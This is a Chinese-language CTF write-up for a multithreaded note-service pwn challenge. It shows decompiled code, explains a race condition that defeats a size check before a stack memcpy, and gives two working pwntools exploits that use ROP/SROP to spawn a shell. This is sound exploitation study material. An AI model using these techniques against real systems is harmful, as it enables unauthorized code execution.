64 位 ELF, 没开 PIE, 没有 cannary.
逆向出的 Note 如下:
1
2
3
4
5
6
7
8
9
10
|
struct __attribute__((aligned(4))) Note
{
__int64 id;
char name[16];
int size;
_BYTE used;
_BYTE sent;
_BYTE reversed[1024];
_BYTE content[1023];
};
|
main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-30h] BYREF
Note *s; // [rsp+18h] [rbp-18h]
int shmid; // [rsp+24h] [rbp-Ch]
key_t key; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]
Init();
art();
alarm(0x3Cu);
key = getpid();
shmid = shmget(key, 0x800uLL, 950);
if ( shmid == -1 )
{
syscall(1LL, 1LL, "Error in shmget\n", 17LL);
return 0LL;
}
else
{
s = (Note *)shmat(shmid, 0LL, 0);
if ( s != (Note *)-1LL )
{
memset(s, 0, 0x800uLL);
s->sent = 0;
if ( pthread_create(newthread, 0LL, start_routine, s) )
syscall(1LL, 1LL, "Error in creating thread 1\n", 28LL);
if ( pthread_create(&newthread[1], 0LL, note_system, s) )
syscall(1LL, 1LL, "Error in creating thread 2\n", 28LL);
for ( i = 0; i <= 1; ++i )
pthread_join(newthread[i], 0LL);
shmdt(s);
shmctl(shmid, 0, 0LL);
syscall(1LL, 1LL, "Done!\n", 6LL);
exit(0);
}
syscall(1LL, 1LL, "Error in shmat\n", 16LL);
return 0LL;
}
}
|
main 函数创建了一个共享内存, 新建了两个线程, 两个线程都使用这个内存空间.
note_system 是个菜单:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
void __fastcall __noreturn note_system(Note *a1)
{
int v1; // [rsp+1Ch] [rbp-4h] BYREF
menu();
while ( 1 )
{
syscall(1LL, 1LL, "Enter Choice: ", 14LL);
__isoc99_scanf("%d", &v1);
switch ( v1 )
{
case 1:
add(a1);
break;
case 2:
delete(a1);
break;
case 3:
edit_id_and_show_name_content(a1);
break;
case 4:
edit_size_and_name(a1);
break;
case 5:
en_or_de(a1);
break;
case 6:
exit(0);
default:
syscall(1LL, 1LL, "Invalid Choice\n", 15LL);
break;
}
}
}
|
这里只用了一个 Note, 就是传进来的共享内存. 做这题可能用到的有 add 和 edit_id_and_show_name_content 这俩函数, 如下
add:
1
2
3
4
5
6
7
8
9
10
11
12
|
void __fastcall add(Note *a1)
{
syscall(1LL, 1LL, "Enter Note ID: ", 15LL);
read_and_pagefault((char *)a1, 8u);
syscall(1LL, 1LL, "Enter Note Name: ", 17LL);
read_and_pagefault(a1->name, 0x10u);
syscall(1LL, 1LL, "Enter Note Size: ", 17LL);
__isoc99_scanf("%d", &a1->size);
syscall(1LL, 1LL, "Enter Note Content: ", 20LL);
read_and_pagefault(a1->content, a1->size);
a1->used = 1;
}
|
edit_id_and_show_name_content:
1
2
3
4
5
6
7
8
9
|
void __fastcall edit_id_and_show(Note *a1)
{
syscall(1LL, 1LL, "Enter Note ID: ", 15LL);
read_and_pagefault((char *)a1, 8u);
syscall(1LL, 1LL, "Note Name: ", 11LL);
syscall(1LL, 1LL, a1->name, 16LL);
syscall(1LL, 1LL, "Note Content: ", 14LL);
syscall(1LL, 1LL, a1->content, (unsigned int)a1->size);
}
|
read_and_pagefault:
1
2
3
4
5
|
void __fastcall read_and_pagefault(char *a1, unsigned int a2)
{
syscall(0LL, 0LL, a1, a2);
syscall(1LL, 1LL, &unk_4022D2, 0LL); // 这个没有可写权限, 所以会触发 pagefault. 不知道为什么写这个在这里
}
|
start_routine:
1
2
3
4
5
6
7
8
9
10
11
|
void __fastcall __noreturn start_routine(Note *a1)
{
while ( 1 )
{
a1->used = 0;
while ( a1->used != 1 )
;
send(a1);
a1->sent = 1;
}
}
|
send:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
void __fastcall send(Note *a1)
{
char dest[64]; // [rsp+10h] [rbp-40h] BYREF
sleep(2u);
if ( a1->size >= 65u )
{
syscall(1LL, 1LL, "Size Limit Exceeded\n", 20LL);
exit(0);
}
xor2(a1);
sleep(1u);
syscall(1LL, 1LL, "Sent!\n", 6LL);
memcpy(dest, a1->content, a1->size);
}
|
可以看到, 这个线程不停检查共享的唯一的 Note 的 used 是不是 1, 如果是的话, 就执行下面 send. xor2 是对所有内容进行 xor, 与做题不重要, 就不放了.
send 先检查了 size 是不是小于 64, 然后下面 memcpy 把 content copy 到栈上.
很显然这里存在 条件竞争. 因为两个线程共用同一个贡献内存, 所以在检查过后, 用 add 把 content 和 size 修改掉, 就可以进行溢出了.
这里非常贴心的给了 sleep, 所以我们两次 add 的时间窗口在 2s 多到 3s 多, 就可以在检查完 size 后, 修改 content 和 size 了.
然后就是构造 ROP 链. 找一下 gadget, 发现只有 pop rdi 和 syscall 可以利用. 接下来有两种方法.
程序调用了 libc 中的 syscall 函数, 这个函数的第一个参数是系统调用号, 往后的参数是系统调用参数. 我们可以控制 rdi 为 15, 并且在栈上布置 sigframe, 就可以控制更多的寄存器了. 要 getshell, 就需要调用 execve("/bin/sh", 0, 0)
, 所以还需要先想办法在已知内存上写 /bin/sh. 写可以用 edit_id_and_show_name_content(addr) 这个函数, 向 addr 上写 8 个字节. rop 链先向 bss 上写 "/bin/sh\0"
. 然后调用 sigret 系统调用并布置 frame, 将 rdi 设为刚刚写上的地址, rsi, rdx 为 0, rax = 0x3b (execve), rip 为 syscall, 就可以 getshell 了. 需要注意的是, 两个线程都在 IO 上, 这里会有一点竞争, 所以可能需要多写几次多打几次.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
procname = './pwn'
io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
def add(size, content):
io.sendlineafter(b'Enter Choice: ', b'1')
io.sendafter(b'Enter Note ID: ', b'Wings')
io.sendafter(b'Enter Note Name: ', b'Wings')
io.sendlineafter(b'Enter Note Size: ', n2b(size))
io.sendafter(b'Enter Note Content: ', content)
pop_rdi_ret = 0x401bc0
syscall = 0x401bc2
read = 0x401795
buf = 0x00404100
add(6, b'Wings')
sleep(3)
frame = SigreturnFrame()
frame.rip = syscall
frame.rax = 0x3b
frame.rdi = buf
frame.rsi = 0
frame.rdx = 0
payload = flat([
b'\0' * 0x48,
p64(pop_rdi_ret),
p64(buf),
p64(read),
p64(pop_rdi_ret),
p64(15),
p64(elf.sym['syscall']),
frame,
])
add(len(payload), payload)
io.sendafter(b'Enter Note ID: ', b'/bin/sh\x00')
io.send(b'/bin/sh\x00')
io.send(b'/bin/sh\x00')
io.interactive()
|
memcpy 当 size > 0x100 时 (测试出来的, 没经过源码验证, 可能也和 libc 版本有关), 函数结束后会改掉一些寄存器. rsi 的值会变成 src + 一个偏移, rdx 的值会变成 dest + 另一个偏移, rcx 会变成 dest.
在 size = 0x101 的时候, rsi = src + 0x90, rdx = dest + 0x81, rcx = dest, 这三个位置都是可以 content 可以控制的. 同时, 我们有 pop rdi, 有 syscall 函数, 所以可以很轻松实现 syscall(SYS_execve, "/bin/sh", [NULL], [NULL])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
procname = './pwn'
libcname = './libc.so.6'
io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
def add(size, content):
io.sendlineafter(b'Enter Choice: ', b'1')
io.sendafter(b'Enter Note ID: ', b'Wings')
io.sendafter(b'Enter Note Name: ', b'Wings')
io.sendlineafter(b'Enter Note Size: ', n2b(size))
io.sendafter(b'Enter Note Content: ', content)
pop_rdi_ret = 0x401bc0
add(6, b'Wings')
sleep(3)
payload = flat([
b'\0' * 0x48,
p64(pop_rdi_ret),
p64(0x3b),
p64(elf.plt['syscall']),
]).ljust(0x90, b'\0') + b'/bin/sh\x00'
add(0x101, payload)
io.interactive()
|
果然看一遍是没有用的, 没自己做过 SROP 就是想不起来还有这玩意.